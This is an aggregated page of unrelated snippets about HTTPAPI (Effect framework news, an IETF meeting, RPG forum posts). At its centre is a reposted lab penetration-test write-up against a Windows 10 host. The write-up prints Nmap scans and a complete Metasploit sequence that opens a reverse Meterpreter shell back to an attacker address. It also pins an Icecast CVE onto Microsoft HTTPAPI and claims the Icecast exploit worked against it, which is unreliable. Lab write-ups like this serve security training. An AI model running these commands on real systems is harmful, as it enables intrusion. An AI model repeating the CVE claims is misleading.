Native Deno support, a Graph module, Schedule overhaul, HttpApi hardening, a landmark repository migration, and more.

Time for a quick post about Problem Details, and how we adopted it at work, in a way that’s actually useful.

The IETF 121 meeting hosted by Cisco starts Saturday 2 November and runs through Friday afternoon, 8 November. The meeting venue is the Convention Centre Dublin.

IIS 기본 화면은 막다른 길이 아니라 버그 바운티 정찰의 출발점 이며, Shodan·Google dork·응답 헤더로 노출 서버와 숨은 vhost를 좁혀갈 수 있음 HTTP/1.0 요청, HTTPAPI 2.0 404 , SSL 인증서, Host 헤더 브루트포싱은 내부 IP·Exchange 호스트명...

529 Posts, 501 Following, 456 Followers · HTTP Advocate, API Architect on Microsoft Graph, Editor of OpenAPI specification, Co-chair of IETF HTTPAPI working group. Architect for Kiota https://aka.ms/...

This report documents a targeted VAPT simulation that exploited Microsoft HTTPAPI via port 5357 to assess system misconfigurations and apply mitigation through service hardening and firewall enforcement. 🔐 Introduction Healthcare infrastructures, often relying on legacy systems and misconfigured services, are increasingly vulnerable to low-effort exploitation. This project simulates an internal red team operation aimed at identifying and exploiting known vulnerabilities in a Windows 10 machine running insecure HTTPAPI-based services through port 5357. The core of this engagement revolved around discovering the presence of UPnP/SSDP exposure via Microsoft HTTPAPI, mapping the service using Nmap, confirming its version and exploitability, and ultimately weaponizing the vulnerability CVE-2004–1561 using Metasploit. This attack demonstrates how seemingly harmless services — like those used for device discovery — can be leveraged for unauthorized access. This report also focuses on enforcing system hardening measures by applying firewall rules and disabling insecure ports and services — thus closing the attack surface. Vulnerability Assessment and Penetration Testing (VAPT) Report Target: Windows 10 Host — Healthcare Environment Prepared by: Aditya Bhatt Designation: VAPT Analyst | Cybersecurity Professional Contact: info.adityabhatt3010@gmail.com | +91–9818993884 Executive Summary This report documents a security assessment of a Windows 10 endpoint within a simulated healthcare environment. The VAPT focused on identifying misconfigured or exposed services — specifically the HTTPAPI httpd 2.0 service running on TCP port 5357, typically associated with SSDP/UPnP protocols. Through network scanning and service enumeration, the system was found to be vulnerable to CVE-2004–1561 — a known flaw in the HTTP header parsing of the Microsoft HTTPAPI. The vulnerability was exploited using Metasploit’s icecast_header module with a reverse HTTP Meterpreter payload, granting shell access. The service was later disabled, and custom firewall rules were applied to prevent further exploitation. The system was successfully hardened, verified by a follow-up port scan. Objectives Identify HIPAA compliance requirements as part of baseline regulatory understanding. Perform enumeration and vulnerability mapping on a Windows 10 machine. Exploit discovered HTTPAPI service using a known CVE. Harden the system by disabling insecure services and enforcing firewall rules. Methodology Task 1: HIPAA Requirements Review Before technical assessment, HIPAA compliance standards were analyzed: Privacy Rule: Ensures PHI is accessed only with patient consent. Security Rule: Requires encryption, access controls, and audit mechanisms for ePHI. Breach Notification: Any breach of unsecured PHI must be reported to HHS. Enforcement Rule & Omnibus Rule: Defines penalties and extends compliance to third-party vendors. Task 2: Network & Service Enumeration Target IP Identification Command: ipconfig Output: IP Address of Windows host — 192.168.178.142 2. Live Host Discovery nmap -sn 192.168.178.1/24 3. Identified active host: 192.168.178.142 4. Service Enumeration nmap -sS 192.168.178.142 nmap -sV -p5357 192.168.178.142 5. Detected: HTTPAPI httpd 2.0 on TCP port 5357 Task 3: Vulnerability Exploitation Vulnerability: CVE-2004–1561 Exploit Module: exploit/windows/http/icecast_header Payload: windows/meterpreter/reverse_http Metasploit Setup: msfconsole use exploit/windows/http/icecast_header set payload windows/meterpreter/reverse_http set RHOSTS 192.168.178.142 set RPORT 5357 set LHOST 192.168.178.137 exploit Post-exploit command: sysinfo Outcome: Successfully obtained system details, confirming access via reverse shell. Task 4: Hardening the Target System Steps: Navigate to Windows Firewall → Advanced Settings Create custom inbound/outbound rules to block port 5357 Disable UPnP-related services, if active Task 5: Post-Hardening Validation Re-run port scan: nmap -sV -p5357 192.168.178.142 Status: Port is now closed/filtered. No response from HTTPAPI service. Key Findings TCP port 5357 exposed to LAN with vulnerable HTTPAPI service Vulnerability exploited successfully using Metasploit Legacy protocol (UPnP) remains active on healthcare system endpoints No firewall rules or monitoring in place at time of scan Risk Analysis Recommendations 1. Service Management Disable UPnP, SSDP, and HTTPAPI if not required Ensure only essential services are running 2. Patch Management Apply all security patches regularly Monitor for CVEs associated with system components 3. Firewall Configuration Apply deny-all by default Allow traffic only to known required ports/services 4. Network Segmentation Isolate legacy systems or medical endpoints from production networks 5. HIPAA Alignment Enforce access controls and breach reporting mechanisms Audit connected systems for PHI exposure Conclusion This assessment confirms that even default Windows services like HTTPAPI can be exploited with well-known CVEs when misconfigured and unpatched. Through Nmap, Metasploit, and proper verification, the attack vector was proven effective, and the mitigation strategy — firewall hardening and service disabling — successfully secured the machine. This case highlights the critical need for continuous vulnerability monitoring, strict firewall configurations, and minimal exposure of services on internal networks — especially in regulated environments like healthcare. 🛡️ Final Thoughts This VAPT engagement served as a clear demonstration of how overlooked services like HTTPAPI and protocols such as UPnP can open serious attack surfaces within enterprise environments — especially in healthcare, where system uptime often takes precedence over security hygiene. While the exploitation required minimal effort, mitigation demanded structured firewall policies, service-level auditing, and an understanding of risk beyond what’s visible. In the end, proactive hardening proved to be the most effective defense. Security isn’t just about fixing vulnerabilities — it’s about building systems that expect to be targeted and are ready to withstand it. Thank you for reading. Stay informed. Stay secure. VAPT Report on HTTPAPI Services in Windows 10 Healthcare Endpoint was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

This memo specifies "HTTP Link Hints", a mechanism for annotating Web links to HTTP(S) resources with information that otherwise might be discovered by interacting with them.

Effectifying OpenCode with Kit Langton on Cause & Effect Podcast. Services & Layers in Production, talk by Leonardo Trapani from Datapizza. Effect Paris 🇫🇷 meetup on June 25. HttpApi streaming support lands in v4 Beta.

SQLRPGLE CGI Program with Minimal Stack -- Hi All, I’m working on doing a sample minimalist CGI Web API program that uses no external API stack other than what the OS provides along with SQL in an RPGLE program. I essentially want to see what a lightweight RPG CGI REST architecture might be in today’s arena. I know there are frameworks like IWS, HTTPAPI, YAJL and NOXDB, CGIDEV2 etc that can be used as helpers. I also know I can use Python, PHP, Node, Java etc. I want this ONLY to be SQLRPGLE. This is a POC to see if I can do a minimalist approach to...

Effect Milan 🇮🇹 meetup on June 11! Clankers ❤️ Effect! OpenCode migrates to Effect HttpApi. Schema ergonomics & DurableQueue in v4 Beta.

RE: External Re: Auth 2.0 -- In Postman you are sending the header “Authorization: Bearer token” and the api is working. --header 'Authorization: Bearer eyJ0e... g' \ In HTTPAPI you are not sending a Bearer token and the api is failing. -- Chris Hiebert Lead Software Developer Disclaimer: Any views or opinions presented are solely those of the author and do not necessarily represent those of the company. From: RPG400-L On Behalf Of (WalzCraft) Jerry Forss Sent: Wednesday, October 15, 2025 7:24 AM T...